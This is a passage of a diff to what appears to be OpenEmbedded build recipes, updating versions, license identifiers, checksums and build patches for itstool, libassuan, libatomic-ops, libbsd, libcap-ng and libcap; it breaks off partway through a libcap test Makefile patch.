+From cd9b56224895576125e91cca317ace8a80f3eb77 Mon Sep 17 00:00:00 2001
+From: Piotr Tworek <tworaz@tworaz.net>
+Date: Sat, 27 Jul 2019 10:19:11 +0200
+Subject: [PATCH] Don't use build time hardcoded python binary path.
+
+This path obviously won't work on target since they refer to build
+machine directory structure. Native builds will also fail if local.conf
+has INHERIT+=rm_work. Instread of hardcoding path to python binary use
+whatever is found in PATH first. This should also allow the tool to use
+python3 binary provided in recipe-sysroot-native.
+
+Upstream-Status: Inappropriate [OE specific]
+---
+ itstool.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/itstool.in b/itstool.in
+index b3c0033..7df2476 100755
+--- a/itstool.in
++++ b/itstool.in
+@@ -1,4 +1,4 @@
+-#!@PYTHON@ -s
++#!/usr/bin/env -S python3 -s
+ #
+ # Copyright (c) 2010-2018 Shaun McCance <shaunm@gnome.org>
+ #
+--
+2.21.0
+
diff --git a/meta/recipes-support/itstool/itstool_2.0.7.bb b/meta/recipes-support/itstool/itstool_2.0.7.bb
new file mode 100644
index 0000000000..5af16995d7
--- /dev/null
+++ b/meta/recipes-support/itstool/itstool_2.0.7.bb
@@ -0,0 +1,24 @@
+SUMMARY = "ITS Tool allows you to translate your XML documents with PO files"
+DESCRIPTION = "It extracts messages from XML files and outputs PO template \
+files, then merges translations from MO files to create translated \
+XML files. It determines what to translate and how to chunk it into \
+messages using the W3C Internationalization Tag Set (ITS). "
+HOMEPAGE = "http://itstool.org/"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=59c57b95fd7d0e9e238ebbc7ad47c5a5"
+
+inherit autotools python3native
+
+DEPENDS = "libxml2-native"
+
+SRC_URI = "http://files.itstool.org/${BPN}/${BPN}-${PV}.tar.bz2 \
+ "
+SRC_URI:append:class-native = " file://0001-Native-Don-t-use-build-time-hardcoded-python-binary-.patch"
+SRC_URI:append:class-nativesdk = " file://0001-Native-Don-t-use-build-time-hardcoded-python-binary-.patch"
+SRC_URI:append:class-target = " file://0002-Don-t-use-build-time-hardcoded-python-binary-path.patch"
+
+SRC_URI[sha256sum] = "6b9a7cd29a12bb95598f5750e8763cee78836a1a207f85b74d8b3275b27e87ca"
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN} += "libxml2-python"
diff --git a/meta/recipes-support/libassuan/libassuan/libassuan-add-pkgconfig-support.patch b/meta/recipes-support/libassuan/libassuan/libassuan-add-pkgconfig-support.patch
index 0e81454c63..fe811254d3 100644
--- a/meta/recipes-support/libassuan/libassuan/libassuan-add-pkgconfig-support.patch
+++ b/meta/recipes-support/libassuan/libassuan/libassuan-add-pkgconfig-support.patch
@@ -8,17 +8,20 @@ Signed-off-by: Constantin Musca <constantinx.musca@intel.com>
forward ported to 2.4.4
Signed-off-by: Armin Kuster <akuster@mvista.com>
+---
+ src/libassuan.m4 | 81 ++----------------------------------------------
+ 1 file changed, 3 insertions(+), 78 deletions(-)
-Index: libassuan-2.5.2/src/libassuan.m4
-===================================================================
---- libassuan-2.5.2.orig/src/libassuan.m4
-+++ libassuan-2.5.2/src/libassuan.m4
-@@ -16,27 +16,6 @@ dnl Returns ok set to yes or no.
+diff --git a/src/libassuan.m4 b/src/libassuan.m4
+index df50484..380a48a 100644
+--- a/src/libassuan.m4
++++ b/src/libassuan.m4
+@@ -17,27 +17,6 @@ dnl Returns ok set to yes or no.
dnl
AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
[ AC_REQUIRE([AC_CANONICAL_HOST])
- AC_ARG_WITH(libassuan-prefix,
-- AC_HELP_STRING([--with-libassuan-prefix=PFX],
+- AS_HELP_STRING([--with-libassuan-prefix=PFX],
- [prefix where LIBASSUAN is installed (optional)]),
- libassuan_config_prefix="$withval", libassuan_config_prefix="")
- if test x$libassuan_config_prefix != x ; then
@@ -41,10 +44,11 @@ Index: libassuan-2.5.2/src/libassuan.m4
tmp=ifelse([$1], ,1:0.9.2,$1)
if echo "$tmp" | grep ':' >/dev/null 2>/dev/null ; then
-@@ -47,58 +26,11 @@ AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
+@@ -47,59 +26,11 @@ AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
+ req_libassuan_api=0
min_libassuan_version="$tmp"
fi
-
+-
- AC_MSG_CHECKING(for LIBASSUAN - version >= $min_libassuan_version)
- ok=no
- if test "$LIBASSUAN_CONFIG" != "no"; then
@@ -102,7 +106,7 @@ Index: libassuan-2.5.2/src/libassuan.m4
if test "$tmp" -gt 0 ; then
AC_MSG_CHECKING([LIBASSUAN API version])
if test "$req_libassuan_api" -eq "$tmp" ; then
-@@ -114,9 +46,7 @@ AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
+@@ -115,9 +46,7 @@ AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
if test $ok = yes; then
if test x"$host" != x ; then
if test -z "$use_gpgrt_config"; then
@@ -113,7 +117,7 @@ Index: libassuan-2.5.2/src/libassuan.m4
fi
if test x"$libassuan_config_host" != xnone ; then
if test x"$libassuan_config_host" != x"$host" ; then
-@@ -158,12 +88,8 @@ dnl
+@@ -159,12 +88,8 @@ dnl
AC_DEFUN([AM_PATH_LIBASSUAN],
[ _AM_PATH_LIBASSUAN_COMMON($1)
if test $ok = yes; then
@@ -126,3 +130,6 @@ Index: libassuan-2.5.2/src/libassuan.m4
ifelse([$3], , :, [$3])
fi
AC_SUBST(LIBASSUAN_CFLAGS)
+--
+2.25.1
+
diff --git a/meta/recipes-support/libassuan/libassuan_2.5.3.bb b/meta/recipes-support/libassuan/libassuan_2.5.3.bb
deleted file mode 100644
index 6fb3d2f3a4..0000000000
--- a/meta/recipes-support/libassuan/libassuan_2.5.3.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-SUMMARY = "IPC library used by GnuPG and GPGME"
-HOMEPAGE = "http://www.gnupg.org/related_software/libassuan/"
-BUGTRACKER = "https://bugs.g10code.com/gnupg/index"
-
-LICENSE = "GPLv3+ & LGPLv2.1+"
-LICENSE_${PN} = "LGPLv2.1+"
-LICENSE_${PN}-doc = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=f27defe1e96c2e1ecd4e0c9be8967949 \
- file://COPYING.LIB;md5=2d5025d4aa3495befef8f17206a5b0a1 \
- file://src/assuan.c;endline=20;md5=ab92143a5a2adabd06d7994d1467ea5c\
- file://src/assuan-defs.h;endline=20;md5=15d950c83e82978e35b35e790d7e4d39"
-
-DEPENDS = "libgpg-error"
-
-UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
-SRC_URI = "${GNUPG_MIRROR}/libassuan/libassuan-${PV}.tar.bz2 \
- file://libassuan-add-pkgconfig-support.patch \
- "
-
-SRC_URI[md5sum] = "226c504ea78a232224bf3b6846b3adb9"
-SRC_URI[sha256sum] = "91bcb0403866b4e7c4bc1cc52ed4c364a9b5414b3994f718c70303f7f765e702"
-
-BINCONFIG = "${bindir}/libassuan-config"
-
-inherit autotools texinfo binconfig-disabled pkgconfig
-
-do_configure_prepend () {
- # Else these could be used in preference to those in aclocal-copy
- rm -f ${S}/m4/*.m4
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libassuan/libassuan_2.5.5.bb b/meta/recipes-support/libassuan/libassuan_2.5.5.bb
new file mode 100644
index 0000000000..2bab3ac955
--- /dev/null
+++ b/meta/recipes-support/libassuan/libassuan_2.5.5.bb
@@ -0,0 +1,38 @@
+SUMMARY = "IPC library used by GnuPG and GPGME"
+DESCRIPTION = "A small library implementing the so-called Assuan protocol. \
+This protocol is used for IPC between most newer GnuPG components. \
+Both, server and client side functions are provided. "
+HOMEPAGE = "http://www.gnupg.org/related_software/libassuan/"
+BUGTRACKER = "https://bugs.g10code.com/gnupg/index"
+
+LICENSE = "GPL-3.0-or-later & LGPL-2.1-or-later"
+LICENSE:${PN} = "LGPL-2.1-or-later"
+LICENSE:${PN}-doc = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=f27defe1e96c2e1ecd4e0c9be8967949 \
+ file://COPYING.LIB;md5=2d5025d4aa3495befef8f17206a5b0a1 \
+ file://src/assuan.c;endline=20;md5=ab92143a5a2adabd06d7994d1467ea5c\
+ file://src/assuan-defs.h;endline=20;md5=15d950c83e82978e35b35e790d7e4d39"
+
+DEPENDS = "libgpg-error"
+
+UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
+SRC_URI = "${GNUPG_MIRROR}/libassuan/libassuan-${PV}.tar.bz2 \
+ file://libassuan-add-pkgconfig-support.patch \
+ "
+
+SRC_URI[sha256sum] = "8e8c2fcc982f9ca67dcbb1d95e2dc746b1739a4668bc20b3a3c5be632edb34e4"
+
+BINCONFIG = "${bindir}/libassuan-config"
+
+inherit autotools texinfo binconfig-disabled pkgconfig multilib_header
+
+do_configure:prepend () {
+ # Else these could be used in preference to those in aclocal-copy
+ rm -f ${S}/m4/*.m4
+}
+
+do_install:append () {
+ oe_multilib_header assuan.h
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libatomic-ops/libatomic-ops_7.6.10.bb b/meta/recipes-support/libatomic-ops/libatomic-ops_7.6.10.bb
deleted file mode 100644
index 7628eedb1b..0000000000
--- a/meta/recipes-support/libatomic-ops/libatomic-ops_7.6.10.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "A library for atomic integer operations"
-HOMEPAGE = "https://github.com/ivmai/libatomic_ops/"
-SECTION = "optional"
-PROVIDES += "libatomics-ops"
-LICENSE = "GPLv2 & MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://doc/LICENSING.txt;md5=e00dd5c8ac03a14c5ae5225a4525fa2d \
- "
-
-SRC_URI = "https://github.com/ivmai/libatomic_ops/releases/download/v${PV}/libatomic_ops-${PV}.tar.gz"
-UPSTREAM_CHECK_URI = "https://github.com/ivmai/libatomic_ops/releases"
-
-SRC_URI[md5sum] = "90a78a84d9c28ce11f331c25289bfbd0"
-SRC_URI[sha256sum] = "587edf60817f56daf1e1ab38a4b3c729b8e846ff67b4f62a6157183708f099af"
-
-S = "${WORKDIR}/libatomic_ops-${PV}"
-
-ALLOW_EMPTY_${PN} = "1"
-
-inherit autotools pkgconfig
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libatomic-ops/libatomic-ops_7.6.12.bb b/meta/recipes-support/libatomic-ops/libatomic-ops_7.6.12.bb
new file mode 100644
index 0000000000..8ea8436977
--- /dev/null
+++ b/meta/recipes-support/libatomic-ops/libatomic-ops_7.6.12.bb
@@ -0,0 +1,22 @@
+SUMMARY = "A library for atomic integer operations"
+DESCRIPTION = "Package provides semi-portable access to hardware-provided atomic memory update operations on a number of architectures."
+HOMEPAGE = "https://github.com/ivmai/libatomic_ops/"
+SECTION = "optional"
+PROVIDES += "libatomics-ops"
+LICENSE = "GPL-2.0-only & MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://doc/LICENSING.txt;md5=e00dd5c8ac03a14c5ae5225a4525fa2d \
+ "
+
+SRC_URI = "https://github.com/ivmai/libatomic_ops/releases/download/v${PV}/libatomic_ops-${PV}.tar.gz"
+UPSTREAM_CHECK_URI = "https://github.com/ivmai/libatomic_ops/releases"
+
+SRC_URI[sha256sum] = "f0ab566e25fce08b560e1feab6a3db01db4a38e5bc687804334ef3920c549f3e"
+
+S = "${WORKDIR}/libatomic_ops-${PV}"
+
+ALLOW_EMPTY:${PN} = "1"
+
+inherit autotools pkgconfig
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libbsd/libbsd_0.10.0.bb b/meta/recipes-support/libbsd/libbsd_0.10.0.bb
deleted file mode 100644
index eaf244a3b7..0000000000
--- a/meta/recipes-support/libbsd/libbsd_0.10.0.bb
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2013 Khem Raj <raj.khem@gmail.com>
-# Released under the MIT license (see COPYING.MIT for the terms)
-
-SUMMARY = "Library of utility functions from BSD systems"
-DESCRIPTION = "This library provides useful functions commonly found on BSD systems, \
- and lacking on others like GNU systems, thus making it easier to port \
- projects with strong BSD origins, without needing to embed the same \
- code over and over again on each project."
-
-HOMEPAGE = "http://libbsd.freedesktop.org/wiki/"
-# There seems to be more licenses used in the code, I don't think we want to list them all here, complete list:
-# OE @ ~/projects/libbsd $ grep ^License: COPYING | sort -u
-# License: BSD-2-clause
-# License: BSD-2-clause-NetBSD
-# License: BSD-2-clause-author
-# License: BSD-2-clause-verbatim
-# License: BSD-3-clause
-# License: BSD-3-clause-author
-# License: BSD-3-clause-John-Birrell
-# License: BSD-3-clause-Regents
-# License: BSD-4-clause-Christopher-G-Demetriou
-# License: BSD-4-clause-Niels-Provos
-# License: BSD-5-clause-Peter-Wemm
-# License: Beerware
-# License: Expat
-# License: ISC
-# License: ISC-Original
-# License: public-domain
-# License: public-domain-Colin-Plumb
-LICENSE = "BSD-4-Clause & ISC & PD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=2120be0173469a06ed185b688e0e1ae0"
-SECTION = "libs"
-
-SRC_URI = "http://libbsd.freedesktop.org/releases/${BPN}-${PV}.tar.xz"
-
-SRC_URI[md5sum] = "ead96d240d02faa5b921c0aa50c812b5"
-SRC_URI[sha256sum] = "34b8adc726883d0e85b3118fa13605e179a62b31ba51f676136ecb2d0bc1a887"
-
-inherit autotools pkgconfig
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libbsd/libbsd_0.11.5.bb b/meta/recipes-support/libbsd/libbsd_0.11.5.bb
new file mode 100644
index 0000000000..bb8766a070
--- /dev/null
+++ b/meta/recipes-support/libbsd/libbsd_0.11.5.bb
@@ -0,0 +1,43 @@
+# Copyright (C) 2013 Khem Raj <raj.khem@gmail.com>
+# Released under the MIT license (see COPYING.MIT for the terms)
+
+SUMMARY = "Library of utility functions from BSD systems"
+DESCRIPTION = "This library provides useful functions commonly found on BSD systems, \
+ and lacking on others like GNU systems, thus making it easier to port \
+ projects with strong BSD origins, without needing to embed the same \
+ code over and over again on each project."
+
+HOMEPAGE = "https://libbsd.freedesktop.org/wiki/"
+# There seems to be more licenses used in the code, I don't think we want to list them all here, complete list:
+# OE @ ~/projects/libbsd $ grep ^License: COPYING | sort -u
+# License: BSD-2-clause
+# License: BSD-2-clause-NetBSD
+# License: BSD-2-clause-author
+# License: BSD-2-clause-verbatim
+# License: BSD-3-clause
+# License: BSD-3-clause-author
+# License: BSD-3-clause-John-Birrell
+# License: BSD-3-clause-Regents
+# License: BSD-4-clause-Christopher-G-Demetriou
+# License: BSD-4-clause-Niels-Provos
+# License: BSD-5-clause-Peter-Wemm
+# License: Beerware
+# License: Expat
+# License: ISC
+# License: ISC-Original
+# License: public-domain
+# License: public-domain-Colin-Plumb
+LICENSE = "BSD-3-Clause & BSD-4-Clause & ISC & PD"
+LICENSE:${PN} = "BSD-3-Clause & ISC & PD"
+LIC_FILES_CHKSUM = "file://COPYING;md5=0b31944ca2c1075410a30f0c17379d3b"
+SECTION = "libs"
+
+SRC_URI = "https://libbsd.freedesktop.org/releases/${BPN}-${PV}.tar.xz"
+
+SRC_URI[sha256sum] = "1a9c952525635c1bb6770cb22e969b938d8e6a9d7912362b98ee8370599b0efd"
+
+inherit autotools pkgconfig
+
+DEPENDS += "libmd"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libcap-ng/libcap-ng-python_0.7.10.bb b/meta/recipes-support/libcap-ng/libcap-ng-python_0.7.10.bb
deleted file mode 100644
index 43f76dc561..0000000000
--- a/meta/recipes-support/libcap-ng/libcap-ng-python_0.7.10.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-require libcap-ng.inc
-
-FILESEXTRAPATHS_prepend := "${THISDIR}/libcap-ng:"
-
-SUMMARY .= " - python"
-
-inherit lib_package autotools python3native
-
-DEPENDS += "libcap-ng python3 swig-native"
-
-S = "${WORKDIR}/libcap-ng-${PV}"
-
-EXTRA_OECONF += "--with-python --with-python3"
-EXTRA_OEMAKE += "PYLIBVER='python${PYTHON_BASEVERSION}${PYTHON_ABI}' PYINC='${STAGING_INCDIR}/${PYLIBVER}'"
-
-do_install_append() {
- rm -rf ${D}${bindir}
- rm -rf ${D}${libdir}/.debug
- rm -f ${D}${libdir}/lib*
- rm -rf ${D}${libdir}/pkgconfig
- rm -rf ${D}${datadir}
- rm -rf ${D}${includedir}
-}
-
-# PACKAGES = "${PN}"
-
-FILES_${PN} = "${libdir}/python${PYTHON_BASEVERSION}"
-FILES_${PN}-dbg =+ "${PYTHON_SITEPACKAGES_DIR}/.debug/_capng.so"
-
diff --git a/meta/recipes-support/libcap-ng/libcap-ng-python_0.8.2.bb b/meta/recipes-support/libcap-ng/libcap-ng-python_0.8.2.bb
new file mode 100644
index 0000000000..1240589d00
--- /dev/null
+++ b/meta/recipes-support/libcap-ng/libcap-ng-python_0.8.2.bb
@@ -0,0 +1,28 @@
+require libcap-ng.inc
+
+FILESEXTRAPATHS:prepend := "${THISDIR}/libcap-ng:"
+
+SUMMARY .= " - python"
+
+inherit lib_package autotools python3targetconfig
+
+DEPENDS += "libcap-ng python3 swig-native"
+
+S = "${WORKDIR}/libcap-ng-${PV}"
+
+EXTRA_OECONF += "--with-python --with-python3"
+
+do_install:append() {
+ rm -rf ${D}${bindir}
+ rm -rf ${D}${libdir}/.debug
+ rm -f ${D}${libdir}/lib*
+ rm -rf ${D}${libdir}/pkgconfig
+ rm -rf ${D}${datadir}
+ rm -rf ${D}${includedir}
+}
+
+# PACKAGES = "${PN}"
+
+FILES:${PN} = "${libdir}/python${PYTHON_BASEVERSION}"
+FILES:${PN}-dbg =+ "${PYTHON_SITEPACKAGES_DIR}/.debug/_capng.so"
+
diff --git a/meta/recipes-support/libcap-ng/libcap-ng.inc b/meta/recipes-support/libcap-ng/libcap-ng.inc
index aec83896e4..57fcd50d9f 100644
--- a/meta/recipes-support/libcap-ng/libcap-ng.inc
+++ b/meta/recipes-support/libcap-ng/libcap-ng.inc
@@ -3,15 +3,17 @@ DESCRIPTION = "The libcap-ng library is intended to make programming \
with POSIX capabilities much easier than the traditional libcap library."
HOMEPAGE = "http://freecode.com/projects/libcap-ng"
SECTION = "base"
-LICENSE = "GPLv2+ & LGPLv2.1+"
+LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
file://COPYING.LIB;md5=e3eda01d9815f8d24aae2dbd89b68b06"
-SRC_URI = "http://people.redhat.com/sgrubb/libcap-ng/libcap-ng-${PV}.tar.gz \
- file://python.patch \
+SRC_URI = "https://people.redhat.com/sgrubb/libcap-ng/libcap-ng-${PV}.tar.gz \
+ file://determinism.patch \
"
-SRC_URI[md5sum] = "57dc267e2949cdecb651a929f9206572"
-SRC_URI[sha256sum] = "a84ca7b4e0444283ed269b7a29f5b6187f647c82e2b876636b49b9a744f0ffbf"
+SRC_URI[sha256sum] = "52c083b77c2b0d8449dee141f9c3eba76e6d4c5ad44ef05df25891126cb85ae9"
+
+EXTRA_OECONF:append:class-target = " --with-capability_header=${STAGING_INCDIR}/linux/capability.h"
+EXTRA_OECONF:append:class-nativesdk = " --with-capability_header=${STAGING_INCDIR}/linux/capability.h"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libcap-ng/libcap-ng/determinism.patch b/meta/recipes-support/libcap-ng/libcap-ng/determinism.patch
new file mode 100644
index 0000000000..fbb7380f56
--- /dev/null
+++ b/meta/recipes-support/libcap-ng/libcap-ng/determinism.patch
@@ -0,0 +1,59 @@
+[PATCH] bindings/python: Allow hardcoded path to capability.h to be overridden
+
+Currently the path to capability.h is hardcoded. When cross compiling
+the host capabiity.h may be different to the target copy, leading
+to different options being encoded in the python bindings than
+expected. This causes a reproducibility issue amongst other potential
+problems.
+
+Add a configure option to optionally specify the right path to the
+correct header as its probably safer/more reliable than trying to
+query the compiler to get the header path.
+
+Signed-off-by: Richard Purdie richard.purdie@linuxfoundation.org
+Upstream-Status: Submitted [https://github.com/stevegrubb/libcap-ng/pull/30]
+
+Index: libcap-ng-0.8.2/configure.ac
+===================================================================
+--- libcap-ng-0.8.2.orig/configure.ac
++++ libcap-ng-0.8.2/configure.ac
+@@ -63,6 +63,13 @@ AC_CHECK_HEADERS(sys/vfs.h, [
+ AC_CHECK_HEADERS(linux/magic.h, [] [AC_MSG_WARN(linux/magic.h is required in order to verify procfs.)])
+ ], [AC_MSG_WARN(sys/vfs.h is required in order to verify procfs.)])
+
++
++AC_ARG_WITH([capability_header],
++ [AS_HELP_STRING([--with-capability_header=path : path to cpapbility.h])],
++ [CAPABILITY_HEADER=$withval],
++ [CAPABILITY_HEADER=/usr/include/linux/capability.h])
++AC_SUBST(CAPABILITY_HEADER)
++
+ AC_C_CONST
+ AC_C_INLINE
+ AM_PROG_CC_C_O
+Index: libcap-ng-0.8.2/bindings/python3/Makefile.am
+===================================================================
+--- libcap-ng-0.8.2.orig/bindings/python3/Makefile.am
++++ libcap-ng-0.8.2/bindings/python3/Makefile.am
+@@ -41,7 +41,7 @@ nodist__capng_la_SOURCES = capng_wrap.c
+ capng.py capng_wrap.c: ${srcdir}/../src/capng_swig.i caps.h capng.h
+ swig -o capng_wrap.c ${SWIG_FLAGS} ${SWIG_INCLUDES} ${srcdir}/../src/capng_swig.i
+ caps.h:
+- cat /usr/include/linux/capability.h | grep '^#define CAP' | grep -v '[()]' > caps.h
++ cat $(CAPABILITY_HEADER) | grep '^#define CAP' | grep -v '[()]' > caps.h
+ capng.h:
+ cat ${top_srcdir}/src/cap-ng.h | grep -v '_state' > capng.h
+
+Index: libcap-ng-0.8.2/bindings/python/Makefile.am
+===================================================================
+--- libcap-ng-0.8.2.orig/bindings/python/Makefile.am
++++ libcap-ng-0.8.2/bindings/python/Makefile.am
+@@ -38,7 +38,7 @@ nodist__capng_la_SOURCES = capng_wrap.c
+ capng.py capng_wrap.c: ${srcdir}/../src/capng_swig.i caps.h capng.h
+ swig -o capng_wrap.c ${SWIG_FLAGS} ${SWIG_INCLUDES} ${srcdir}/../src/capng_swig.i
+ caps.h:
+- cat /usr/include/linux/capability.h | grep '^#define CAP' | grep -v '[()]' > caps.h
++ cat $(CAPABILITY_HEADER) | grep '^#define CAP' | grep -v '[()]' > caps.h
+ capng.h:
+ cat ${top_srcdir}/src/cap-ng.h | grep -v '_state' > capng.h
+
diff --git a/meta/recipes-support/libcap-ng/libcap-ng/python.patch b/meta/recipes-support/libcap-ng/libcap-ng/python.patch
deleted file mode 100644
index d60a0a39b6..0000000000
--- a/meta/recipes-support/libcap-ng/libcap-ng/python.patch
+++ /dev/null
@@ -1,62 +0,0 @@
-From b4a354ae8d4f7c2ec3ec421c7d8a790cc57e77a9 Mon Sep 17 00:00:00 2001
-From: Li xin <lixin.fnst@cn.fujitsu.com>
-Date: Sat, 18 Jul 2015 23:03:30 +0900
-Subject: [PATCH] configure.ac - Avoid an incorrect check for python.
- Makefile.am - avoid hard coded host include paths.
-
-Upstream-Status: pending
-
-Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
-Signed-off-by: Li Xin <lixin.fnst@cn.fujitsu.com>
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- bindings/python/Makefile.am | 4 +++-
- configure.ac | 17 ++---------------
- 2 files changed, 5 insertions(+), 16 deletions(-)
-
-diff --git a/bindings/python/Makefile.am b/bindings/python/Makefile.am
-index 999b184..c8e49db 100644
---- a/bindings/python/Makefile.am
-+++ b/bindings/python/Makefile.am
-@@ -23,7 +23,9 @@
- SUBDIRS = test
- CONFIG_CLEAN_FILES = *.loT *.rej *.orig
- AM_CFLAGS = -fPIC -DPIC
--AM_CPPFLAGS = -I. -I$(top_builddir) -I@PYINCLUDEDIR@
-+PYLIBVER ?= python$(PYTHON_VERSION)
-+PYINC ?= /usr/include/$(PYLIBVER)
-+AM_CPPFLAGS = -I. -I$(top_builddir) -I$(PYINC)
- SWIG_FLAGS = -python
- SWIG_INCLUDES = ${AM_CPPFLAGS}
- pyexec_PYTHON = capng.py
-diff --git a/configure.ac b/configure.ac
-index 7f66179..079d026 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -123,21 +123,8 @@ if test x$use_python = xno ; then
- else
- AC_MSG_RESULT(testing)
- AM_PATH_PYTHON
--PYINCLUDEDIR=`python${am_cv_python_version} -c "from distutils import sysconfig; print(sysconfig.get_config_var('INCLUDEPY'))"`
--if test -f ${PYINCLUDEDIR}/Python.h ; then
-- python_found="yes"
-- AC_SUBST(PYINCLUDEDIR)
-- pybind_dir="python"
-- AC_SUBST(pybind_dir)
-- AC_MSG_NOTICE(Python bindings will be built)
--else
-- python_found="no"
-- if test x$use_python = xyes ; then
-- AC_MSG_ERROR([Python explicitly requested and python headers were not found])
-- else
-- AC_MSG_WARN("Python headers not found - python bindings will not be made")
-- fi
--fi
-+python_found="yes"
-+AC_MSG_NOTICE(Python bindings will be built)
- fi
- AM_CONDITIONAL(HAVE_PYTHON, test ${python_found} = "yes")
-
---
-2.7.4
-
diff --git a/meta/recipes-support/libcap-ng/libcap-ng_0.7.10.bb b/meta/recipes-support/libcap-ng/libcap-ng_0.7.10.bb
deleted file mode 100644
index a9a046571f..0000000000
--- a/meta/recipes-support/libcap-ng/libcap-ng_0.7.10.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-require libcap-ng.inc
-
-inherit lib_package autotools
-
-EXTRA_OECONF += "--without-python --without-python3"
-LDFLAGS_append_class-native = " -pthread"
-
-BBCLASSEXTEND = "native nativesdk"
-
-do_install_append() {
- # Moving libcap-ng to base_libdir
- if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
- mkdir -p ${D}/${base_libdir}/
- mv -f ${D}${libdir}/libcap-ng.so.* ${D}${base_libdir}/
- relpath=${@os.path.relpath("${base_libdir}", "${libdir}")}
- ln -sf ${relpath}/libcap-ng.so.0.0.0 ${D}${libdir}/libcap-ng.so
- fi
-}
diff --git a/meta/recipes-support/libcap-ng/libcap-ng_0.8.2.bb b/meta/recipes-support/libcap-ng/libcap-ng_0.8.2.bb
new file mode 100644
index 0000000000..6e16e886b9
--- /dev/null
+++ b/meta/recipes-support/libcap-ng/libcap-ng_0.8.2.bb
@@ -0,0 +1,17 @@
+require libcap-ng.inc
+
+inherit lib_package autotools
+
+EXTRA_OECONF += "--without-python --without-python3"
+
+BBCLASSEXTEND = "native nativesdk"
+
+do_install:append() {
+ # Moving libcap-ng to base_libdir
+ if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
+ mkdir -p ${D}/${base_libdir}/
+ mv -f ${D}${libdir}/libcap-ng.so.* ${D}${base_libdir}/
+ relpath=${@os.path.relpath("${base_libdir}", "${libdir}")}
+ ln -sf ${relpath}/libcap-ng.so.0.0.0 ${D}${libdir}/libcap-ng.so
+ fi
+}
diff --git a/meta/recipes-support/libcap/files/0001-nativesdk-libcap-Raise-the-size-of-arrays-containing.patch b/meta/recipes-support/libcap/files/0001-nativesdk-libcap-Raise-the-size-of-arrays-containing.patch
new file mode 100644
index 0000000000..9884fb5641
--- /dev/null
+++ b/meta/recipes-support/libcap/files/0001-nativesdk-libcap-Raise-the-size-of-arrays-containing.patch
@@ -0,0 +1,34 @@
+From fc60e000169618a4adced845b9462d36ced1efdd Mon Sep 17 00:00:00 2001
+From: Hongxu Jia <hongxu.jia@windriver.com>
+Date: Thu, 14 Oct 2021 15:57:36 +0800
+Subject: [PATCH] nativesdk-libcap: Raise the size of arrays containing dl
+ paths
+
+This patch puts the dynamic loader path in the binaries, SYSTEM_DIRS strings
+and lengths as well as ld.so.cache path in the dynamic loader to specific
+sections in memory. The sections that contain paths have been allocated a 4096
+byte section, which is the maximum path length in linux. This will allow the
+relocating script to parse the ELF binary, detect the section and easily replace
+the strings in a certain path.
+
+Upstream-Status: Inappropriate [SDK specific]
+
+Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
+---
+ libcap/execable.h | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/libcap/execable.h b/libcap/execable.h
+index fee17b4..5bb0c55 100644
+--- a/libcap/execable.h
++++ b/libcap/execable.h
+@@ -23,7 +23,7 @@
+ #endif
+ #define __EXECABLE_H
+
+-const char __execable_dl_loader[] __attribute((section(".interp"))) =
++const char __execable_dl_loader[4096] __attribute((section(".interp"))) =
+ SHARED_LOADER ;
+
+ static void __execable_parse_args(int *argc_p, char ***argv_p)
diff --git a/meta/recipes-support/libcap/files/0002-tests-do-not-run-target-executables.patch b/meta/recipes-support/libcap/files/0002-tests-do-not-run-target-executables.patch
new file mode 100644
index 0000000000..20346cf2fb
--- /dev/null
+++ b/meta/recipes-support/libcap/files/0002-tests-do-not-run-target-executables.patch
@@ -0,0 +1,30 @@
+From 10212b6d4e8843feffbeab5336342d97f3a46bb2 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Fri, 20 Dec 2019 16:54:05 +0100
+Subject: [PATCH] tests: do not run target executables
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
+---
+ tests/Makefile | 2 --
+ 1 file changed, 2 deletions(-)
+
+diff --git a/tests/Makefile b/tests/Makefile
+index ecb7d1b..8950c73 100644
+--- a/tests/Makefile
++++ b/tests/Makefile
+@@ -61,13 +61,11 @@ endif
+
+ # unprivileged
